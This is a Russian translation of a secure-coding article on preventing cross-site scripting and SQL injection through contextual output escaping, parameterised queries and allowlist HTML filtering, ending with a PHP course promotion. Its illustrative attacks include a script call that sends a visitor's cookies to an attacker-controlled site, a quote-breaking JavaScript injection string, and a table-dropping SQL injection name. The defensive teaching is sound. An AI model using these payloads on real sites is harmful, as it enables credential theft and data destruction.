[Перевод] Не тратьте время на санацию ввода. Лучше экранируйте вывод
Время от времени мы слышим в кругу разработчиков разговоры о «санации пользовательского ввода» с целью предотвращения атак с использованием межсайтового скриптинга. Эта техника, хоть и придумана из лучших побуждений, приводит к ложному чувству безопасности, а иногда и искажает совершенно корректный ввод.
Как происходит межсайтовый скриптинг?
Сайт является уязвимым для атак с использованием межсайтового скриптинга (XSS), если пользователи могут вводить информацию, которую сайт дословно повторяет им в HTML-коде той же или других страниц. Это может вызвать как незначительные проблемы (HTML, который нарушает разметку страницы), так и вполне серьезные (JavaScript, который отправляет файл cookie с учетными данными пользователя на сайт злоумышленника).
Давайте рассмотрим конкретный пример:
NaiveSite позволяет вам ввести свое имя, которое затем выводится без изменений на странице вашего профиля.
Билли Кид вводит свое имя как
Billy
.Любой, кто посещает страницу профиля Билли, получает некоторый HTML-код, включая неэкранированный тег
script
, который в числе прочего обрабатывается его браузером.Если
alert()
изменить на что-то более вредоносное, например sendCookies ('https://billy.com/cookie-monster'), то Билли теперь сможет получить учетные данные ничего не подозревающего посетителя.
Примечание: на практике сделать это не так просто, поскольку файлы cookie с учетными данными обычно помечаются как HttpOnly, что означает, что они недоступны для JavaScript. Но это достаточно примитивный NaiveSite, так что, скорее всего, если разработчики допустили XSS-ошибку, то и о защите cookie они тоже не позаботились.
Почему фильтрация входных данных — не самая лучшая идея
Итак, разработчик узнает о «фильтрации входных данных» или «санации ввода», поэтому он пишет код для удаления небезопасных HTML-символов <>&
из имени перед его сохранением. Дело сделано!
Но с этим есть две проблемы. Например, на NaiveSite может зарегистрироваться пара как Bob & Jane Smith, но код фильтрации удаляет &
, и вдруг Боб оказывается сам по себе, со вторым именем Джейн.
Или если фильтр чуть поусерднее и также удаляет '
и"
, кто-то вроде Билла О«Брайена становится Биллом ОБрайеном. Искажать имена людей — плохая практика.
Этот метод, что более важно, дает ложное чувство безопасности. Что здесь значит «небезопасно»? И в каком контексте? Конечно, <>&
являются небезопасными символами в контексте HTML, но как насчет CSS, JSON, SQL или даже shell-скриптов? У них совершенно другой набор небезопасных символов.
Например, NaiveSite может иметь PHP-шаблон, который будет выглядеть следующим образом:
...
Если злоумышленник укажет свое имя с двойными кавычками, например "; badFunc(); "
, то он сможет запускать произвольный JavaScript на любых страницах NaiveSite, отображающих имя пользователя (к которым, если вы залогинились, вероятно, относятся все страницы).
Еще одним хорошим примером такого рода проблем является SQL-инъекция — атака, тесно связанная с межсайтовым скриптингом. NaiveSite работает на базе MySQL и находит пользователей следующим образом:
$query = "SELECT * FROM users WHERE name = '{$name}'"
Если мальчик по имени Robert'); DROP TABLE users; решит посетить ваш сайт, то вся база данных пользователей NaiveSite будет удалена в мгновение ока. Упс!
Между прочим, мать в комиксе xkcd говорит: «А я надеюсь, что вы научитесь санировать данные перед вводом в базу данных». Это несколько сбивает с толку, но я не буду так уж строг к Рэндаллу и предположу, что он имел в виду «экранировать параметры вашей базы данных».
Короче говоря, нет смысла отсеивать «опасные символы», потому что некоторые символы опасны в одном контексте и совершенно безопасны в другом.
Вместо этого экранируйте ваш вывод
Единственный код, который знает, какие символы опасны, — это сам код, который выводится в заданном контексте.
Таким образом, лучший подход состоит в том, чтобы дословно сохранить любое имя, которое вводит пользователь, а затем использовать HTML-экранирование системы шаблонизации при выводе HTML или правильно экранировать JSON при выводе JSON и JavaScript.
И, конечно же, используйте функции параметризованных запросов вашего SQL-движка, чтобы он правильно экранировал переменные при построении SQL:
$stmt = $db->prepare('SELECT * FROM users WHERE name = ?');
$stmt->bind_param('s', $name);
Иногда это называют «контекстным экранированием». Если вам доведется использовать пакет Go html/template, то в нем вы получите автоматическое контекстное экранирование для HTML, CSS и JavaScript прямо из коробки. Большинство других систем шаблонизации обеспечивают автоматическое экранирование хотя бы HTML, как например шаблоны React, Jinja2 и Rails.
Но что, если вам нужны необработанные входные данные?
Давайте рассмотрим более интересную ситуацию — когда вашему приложению нужно позволять пользователю вводить HTML или Markdown для дальнейшего отображения. В этом случае вы не можете прибегнуть к экранированию при рендеринге вывода, потому что вся суть заключается в том, чтобы позволить пользователям добавлять ссылки, изображения, заголовки и т. д.
Поэтому вам нужно использовать другой подход. Если вы используете Markdown, вы можете:
Разрешить пользователю вводить только чистый Markdown и преобразовывать его в HTML при рендеринге (многие Markdown-библиотеки по умолчанию разрешают использование сырого HTML; обязательно отключите эту возможность). Это наиболее безопасный вариант, но и более рестриктивный.
Разрешить пользователю использовать HTML в Markdown, но только определенный список (вайтлист) разрешенных тегов и атрибутов, таких как
<а href="...">
и. Например, Stack Exchange и GitHub придерживаются этого второго подхода.
Если вы не используете Markdown, но хотите, чтобы ваши пользователи могли напрямую вводить HTML, то для вас остается доступным только второй вариант — вы должны реализовать фильтр на основе вайтлиста. Сделать это правильно труднее, чем вы думаете (например, ), поэтому обязательно используйте хорошо проверенную с точки зрения безопасности библиотеку как, например, DOMPurify.
Поэтому в тех случаях, когда вам нужно «транслировать» необработанный пользовательский ввод, тщательно фильтруйте ввод на основе ограничительного вайтлиста и сохраняйте результат в базе данных. Когда настанет время вывести его, выведите его как сохранили без какого-либо экранирования.
Параллелью с SQL-инъекциями может быть ситуация, когда вы создаете инструмент для построения диаграмм данных, который позволяет пользователям вводить произвольные SQL-запросы. Возможно, вы захотите разрешить им вводить SELECT-запросы, но не запросы модификации данных. В этих случаях вам лучше всего использовать правильный парсер SQL (как этот), чтобы убедиться, что они правильно формируют SELECT-запросы —, но сделать это правильно не так уж и просто, поэтому обязательно делайте проверку безопасности.
Как насчет валидации?
Санация ввода обычно плохая идея, но вот валидация входных данных это хорошо.
Например, когда вы парсите поля формы ввода, и отлавливаете числовое поле, которое не является числом, адрес электронной почты без @
или имеете раскрывающийся список «Статус публикации», который может быть только чем-либо из «черновик», «опубликовано», или «в архиве», который затем вы во что бы то ни стало проверяете и возвращаете ошибку, если он невалиден.
Хорошая проверка веб-формы указывает на ошибки по мере ввода, чтобы пользователь точно знал, что нужно исправить:
Вы должны выполнять валидацию хотя бы на бэкенде, иначе злоумышленник может обойти валидацию фронтенда и сделать POST-запрос с вредоносными данными на вашу конечную точку напрямую. Кроме того, вы также можете выполнить раннюю проверку во фронтенде, чтобы отображать ошибки в режиме реального времени, без необходимости обращения к серверу.
Что еще можно почитать по теме
На OWASP есть две прекрасных шпаргалки Cross Site Scripting Prevention и SQL Injection Prevention, которые содержат много дополнительной информации о экранировании.
Также есть ответ на StackOverflow на вопрос «How can I sanitize user input with PHP?» с некоторой PHP-спецификой, но я нашел его достаточно лаконичным и полезным. Он ссылается на страницу на PHP magic quotes, которые были в целом плохой идеей и фактически были удалены в PHP 5.4 — обсуждение там очень похоже на то, что я написал выше.
Важно! Под спойлером перевод оригинального текста от автора статьи
Если у вас есть какие-либо отзывы об этой статье, пожалуйста, свяжитесь с нами! Или почитайте комментарии на Hacker News и сабреддите programming.
Я был бы рад, если бы вы спонсировали меня на GitHub — это будет мотивировать меня работать над моими проектами с открытым исходным кодом и писать больше хорошего контента. Спасибо!
Выражаем благодарность @FanatPHP, за рекомендацию данной статьи к переводу.
Также в преддверии старта курса PHP Developer. Professional, делимся с вами записью открытых уроков курса. Узнать подробнее о курсе и посмотреть открытые уроки можно по ссылкам ниже.